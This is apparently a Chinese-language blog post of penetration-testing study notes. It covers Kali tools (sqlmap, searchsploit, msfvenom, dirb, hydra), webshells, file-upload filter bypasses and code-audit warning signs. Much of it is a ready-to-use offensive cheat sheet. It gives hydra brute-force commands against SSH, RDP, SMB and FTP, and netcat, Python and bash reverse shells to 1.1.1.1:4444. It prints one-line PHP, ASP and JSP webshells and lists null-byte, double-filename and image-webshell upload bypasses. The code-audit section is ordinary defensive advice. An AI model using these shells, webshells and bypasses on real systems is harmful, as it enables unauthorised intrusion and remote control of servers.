网络安全学习小结--kali基本工具、webshell、代码审计
0x00 kali基础工具使用
sqlmap
sql注入
#基本命令get型
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D 数据库名称 --tables
sqlmap -u "URL" -D 数据库名称 -T 数据库表 --column
sqlmap -u "URL" -D 数据库名称 -T 数据表 -C 列 --dump
#基本命令post型
sqlmap -r "数据包" --dbs
sqlmap -r "数据包" -D 数据库名称 --tables
sqlmap -r "数据包" -D 数据库名称 -T 数据库表 --column
sqlmap -r "数据包" -D 数据库名称 -T 数据表 -C 列 --dump
#部分附加命令
--thread -----线程设置,通常赋10
--delay -----请求延时,防止被拉黑
--os-shell -----获取主机shell
--null-connection -----检索没有body响应的内容,多用于盲注
--tamper -----脚本调用
searchsploit
漏洞脚本库,提权,shell获取等等
Usage: searchsploit [options] term1 [term2] ... [termN]==========Examples
==========searchsploit afd windows localsearchsploit -t oracle windowssearchsploit -p 39446searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"For more examples, see the manual: https://www.exploit-db.com/searchsploit/=========Options
=========-c, --case [Term] 区分大小写(默认不区分大小写)-e, --exact [Term] 对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].-h, --help 显示帮助-j, --json [Term] 以JSON格式显示结果-m, --mirror [EDB-ID] 把一个exp拷贝到当前工作目录,参数后加目标id-o, --overflow [Term] Exploit标题被允许溢出其列-p, --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号-t, --title [Term] 仅仅搜索漏洞标题(默认是标题和文件的路径)-u, --update 检查并安装任何exploitdb软件包更新(deb或git)-w, --www [Term] 显示Exploit-DB.com的URL而不是本地路径(在线搜索)-x, --examine [EDB-ID] 使用$ PAGER检查(副本)Exp=======Notes
=======* 你可以使用任意数量的搜索词。* Search terms are not case-sensitive (by default), and ordering is irrelevant.* 搜索术语不区分大小写(默认情况下),而排序则无关紧要。* 如果你想用精确的匹配来过滤结果,请使用用 -e 参数* 使用' - t '将文件的路径排除,以过滤搜索结果* 删除误报(特别是在搜索使用数字时 - i.e. 版本).* 当更新或显示帮助时,搜索项将被忽略。
msfvenom
木马制作,后门连接shell
#简单木马生成
[https://blog.csdn.net/Tauil/article/details/126159500?spm=1001.2014.3001.5501]
#脚本使用
search 对应信息 ---搜索脚本
use 脚本路径 ---使用脚本
show options ---查看脚本设置
set ---设置
run ---运行脚本
dirb
暴力遍历网站目录,获取网站结构
==========Examples
==========dirb URLdirb URL -wdirb URL -N 400密码本位置默认在: /usr/share/wordlists/dirb/
需要更换密码本时使用语句: dirb URL /usr/share/wordlists/dirb/任意密码本
命令 | 说明 |
---|---|
-a <agent_string> | 指定自定义USER_AGENT(默认是:"Mozilla/4.0(兼容;MSIE 6.0;Windows NT 5.1)”) |
-b | 不要挤压或合并给定URL中的/…/或/./序列 |
-c <cookie_string> | 为HTTP请求设置cookie |
-E | 使用指定的客户端证书文件 |
-f | 微调NOT_FOUND(404)检测 |
-H <header_string> | 将自定义标头添加到HTTP请求 |
-i | 使用不区分大小写的搜索 |
-l | 找到时打印“Location”标题 |
-N <nf_code> | 忽略此HTTP代码的响应 |
-o <output_file> | 将输出保存到磁盘 |
-p <proxy[:port]> | 使用此代理(默认端口为1080) |
-r | 不要递归搜索 |
-R | 交互式递归(询问您要扫描的目录) |
-S | 静音模式,不要显示经过测试的单词(用于哑终端) |
-t | 不要在网址上强制使用结尾的“ /” |
-u username:password | 使用的用户名和密码 |
-v | 也显示不存在的页面 |
-w | 不要停止警告消息 |
-x <extensions_file> | 使用此文件的扩展名扩大搜索 |
-X | 使用此扩展程序扩大搜索 |
-z | 使用此扩展程序扩大搜索 |
hydra
密码本暴力破解各种网站账号等
#破解ssh: hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh#破解https: hydra -m /index.php -l username -P pass.txt IP https#破解teamspeak: hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak#破解cisco: hydra -P pass.txt IP ciscohydra -m cloud -P pass.txt 127.0.0.1 cisco-enable#破解smb: hydra -l administrator -P pass.txt IP smb#破解pop3: hydra -l muts -P pass.txt my.pop3.mail pop3#破解rdp: hydra IP rdp -l administrator -P pass.txt -V #破解http-proxy:hydra -l admin -P pass.txt http-proxy://127.0.0.1 #破解telnet: hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V#破解ftp: hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV#get方式提交,破解web登录: hydra IP ftp -l 用户名 -P 密码字典 -e ns -vVhydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
nc
两方连接通话命令,假定AB进行连接,A(1.1.1.1)为控制端,B(2.2.2.2)为受控端,前后不同即为开启顺序不同
=======
正向连接
=======B:nc -lvp 4444 -e /bin/bashA:nc 2.2.2.2 4444=======
反向连接
=======A:nc -lvp 4444B:nc 1.1.1.1 4444 -e /bin/bash==========
python连接
==========A:nc -lvp 4444B:python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'========
bash连接
========A:nc -lvp 4444B:bash -i >& /dev/tcp/1.1.1.1/4444 0>&1
0x01 webshell
常见webshell文件:phpjspjspsaspaspxpy等等
开源webshell文件库:https://github.com/tennc/webshell
也有一句话木马,设定密码为 cmd
php
<?php eval($_POST["cmd"]);echo"getshell";?>
jsp
<%
if(request.getParameter("cmd")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("cmd"))).write(request.getParameter("cmd").getBytes());
%>
asp
<%eval request ("cmd")%>
webshell连接工具:中国菜刀、Cknife、Altman、xise、Weevely、quasibot、Webshell-Sniper、蚁剑 antSword、冰蝎 Behinder、webacoo、哥斯拉 Godzilla、PhpSploit
webshell获取方式:
- 网页源程序代码是否存在漏洞,如:
- 解析漏洞
- 文件上传漏洞
- SQL注入
- 远程命令执行漏洞
- 程序源码执行漏洞
- 查看网页中间插件是否存在漏洞
- 网页网关是否存在写入漏洞
- 网页是否存在敏感信息泄露漏洞
- 网页服务器、数据库是否存在版本漏洞
webshell绕过:
- 前端校验文件后缀时,可先传允许的文件类型,然后抓包修改文件后缀,MIME校验时,抓包修改Conten-Type为允许MIME类型
- 利用特殊文件后缀,如.php3、.php5、.php7、.phtml、asa、cer、cdx、aspx、jspx、 jsw、jsv、jspf等。
- 配合Windows/Linux特性使用特殊字符,如上传.php::$DATA、.php+空格等后缀的文件到Windows服务器,由于Windows的文件后缀中不能包含一些特殊符号,使得这些文件在保存在Windows服务器上时后缀只剩下.php。
- 后缀大小写,如pHp,在数据包中使用双filename,如filename=“1.jsp”; filename=“1.php”。
- 00截断,要求PHP<5.3.4且magic_quotes_gpc为OFF状态,配合解析漏洞,文件包含图片马
- 使用文件头绕过,如图片中使用GIF,使用图片马,接着配合解析漏洞或者文件包含漏洞getshell使用元数据编辑器在图片的EXIF信息中插入一句话木马
0x02 代码审计
- 非边界检查函数(例如,strcpy,sprintf,vsprintf和sscanf)可能导致缓冲区溢出漏洞
- 可能干扰后续边界检查的缓冲区的指针操作,例如:if((bytesread = net_read(buf,len)) > 0)buf + = bytesread;
- 调用像execve(),执行管道,system()和类似的东西,尤其是在使用非静态参数调用时
- 输入验证,例如(在SQL中):statement=“SELECT * FROM users WHERE name =‘”+ userName +“’;”是一个SQL注入漏洞的示例
- 文件包含功能,例如(在PHP中):include($ page.‘.php’);是远程文件包含漏洞的示例
- 对于可能与恶意代码链接的库,返回对内部可变数据结构(记录,数组)的引用,恶意代码可能会尝试修改结构或保留引用以观察将来的更改
代码审计自动化工具:RIPS、Fortify SCA、FindBugs、Codescan、PHPXref、seay
网络安全学习小结--kali基本工具、webshell、代码审计相关推荐
- 网络安全03_推荐书籍_网络安全工具_搜集到的网络安全学习的建议_Web安全/渗透测试技能要求_国内外安全企业网站
网络安全03 一.推荐书籍 二.网络安全工具 三.搜集到的网络安全学习的建议 1.先网络后安全 很多初学者还没搞定网络看懂网络拓扑,就急着研究防火墙或VPN,其实这样就不清楚整个网络架构是如何安全演进 ...
- 网络安全学习篇28_阶段一小结篇_木马的原理及木马防范
上一篇博客:网络安全学习篇27_阶段一小结篇_DNS欺骗与钓鱼网站的防范 写在前面: 刚开始接触了一些关键词如渗透,sql注入,靶场等就发现对此方面挺感兴趣,毕竟有的人大大小小都有一个黑客梦,恰巧在 ...
- 网络安全学习篇26_阶段一小结篇_kali中间人渗透
上一篇博客:防火墙 写在前面: 刚开始接触了一些关键词如渗透,sql注入,靶场等就发现对此方面挺感兴趣,毕竟有的人大大小小都有一个黑客梦,恰巧在 B站碰到了千峰网络培训发布的系列安全培训视频,系列课程 ...
- [网络安全学习篇22]:kali中间人攻击(千峰网络安全视频笔记 p111-p113)
引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...
- Kali linux学习入门-Kali菜单中各工具功能
想要进入安全行业为安全事业做贡献,就要硬着头皮学点什么.就像为什么军人往往都有更高的成就?因为自律.克服玩游戏的欲望吧,踏踏实实学点东西.http://www.cnblogs.com/lsdb/p/6 ...
- [网络安全学习篇10]:扫描技术、暴力破解工具(千峰网络安全视频笔记 10 day)
引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...
- Kail学习笔记-kali信息搜集工具之IKE-Scan
Kail学习笔记-kali信息搜集工具之IKE-Scan 一.用法 二.选项 三.示例 一.用法 ike-scan [选项] [主机地址...] 必须在命令行上指定目标主机,除非为–file选项,在这 ...
- 网络安全-渗透测试-Kali Linux教程篇 篇(六) 漏洞分析-02——AppScan-轻量级Web漏洞扫描、安全审计工具
本文目录 关于本篇 声明 正文 AppScan 安装教程 使用教程 Web Application Scan 关于本篇 本篇是网络安全-渗透测试-Kali Linux教程篇 第六篇 漏洞分析部分的第二 ...
- Kail 学习笔记-kali信息搜集工具之Dmitry
Kail 学习笔记-kali信息搜集工具之Dmitry DMitry(Deepmagic Information Gathering Tool)是一个一体化的信息收集工具.它可以用来收集以下信息: 根 ...
最新文章
- 史上最强翻译器,没有之一,不接受反驳
- 简单三个数比较大小 “?!”的用法
- 关于document.cookie的使用
- @Scheduled定时任务
- camtasia studio2022新版本高清录屏编辑无水印
- Java基础总结(上)
- dnf脚本是php,dnf自动搬砖脚本教程autojs在使用
- 几种平均数的物理意义应用场景
- 抖音小程序入口和玩法,快速收割短视频红利!
- 【转自果壳】学习没有“关键期”,现在开始就不晚
- C++包含文字时的输出排版问题
- JRuby——Java和Ruby的强强联合
- 嵌入式系统之-小米路由器3G v1
- 二分图最大匹配—匈牙利算法
- 【微信小程序】引导重新打开定位权限
- MySQL基础学习③数据库准备工作,导入官方employees数据库
- AD PCB板布线高亮解决方法
- 联想小新V1000安装win7教程
- activity的作用
- 福建区块链数字经济发展专项资金申报启动,最高可获300万 | 产业区块链发展周报...